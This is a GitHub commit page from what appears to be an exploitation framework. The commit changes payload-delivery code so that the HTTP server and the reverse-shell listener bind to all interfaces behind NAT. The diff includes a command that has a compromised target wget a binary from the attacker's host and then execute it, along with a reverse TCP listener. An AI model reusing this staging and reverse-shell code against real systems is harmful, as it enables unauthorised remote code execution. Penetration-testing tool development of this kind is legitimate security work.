Unverified Commit f538af1d by Marcin Bury Committed by GitHub

Fixing reverse shell with nat (#436)

parent 62b83fb4
...@@ -224,7 +224,9 @@ class Communication(object): ...@@ -224,7 +224,9 @@ class Communication(object):
# run http server # run http server
self.mutex = True self.mutex = True
thread = threading.Thread(target=self.http_server, args=(self.options["lhost"], self.options["lport"]))
all_interfaces = "0.0.0.0"
thread = threading.Thread(target=self.http_server, args=(all_interfaces, self.options["lport"]))
thread.start() thread.start()
while self.mutex: while self.mutex:
...@@ -236,12 +238,12 @@ class Communication(object): ...@@ -236,12 +238,12 @@ class Communication(object):
# wget binary # wget binary
print_status("Using wget to download binary") print_status("Using wget to download binary")
cmd = "{} http://{}:{}/{} -O {}/{}".format(binary, cmd = "{} http://{}:{}/{} -qO {}/{}".format(binary,
self.options["lhost"], self.options["lhost"],
self.options["lport"], self.options["lport"],
self.binary_name, self.binary_name,
self.location, self.location,
self.binary_name) self.binary_name)
self.exploit.execute(cmd) self.exploit.execute(cmd)
return True return True
...@@ -328,9 +330,10 @@ class Communication(object): ...@@ -328,9 +330,10 @@ class Communication(object):
return commands return commands
def reverse_tcp(self): def reverse_tcp(self):
sock = self.listen(self.options["lhost"], self.options["lport"]) all_interfaces = "0.0.0.0"
sock = self.listen(all_interfaces, self.options["lport"])
if self.port_used: if self.port_used:
print_error("Could not set up listener on {}:{}".format(self.options["lhost"], self.options["lport"])) print_error("Could not set up listener on {}:{}".format(all_interfaces, self.options["lport"]))
return return
# execute binary # execute binary
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment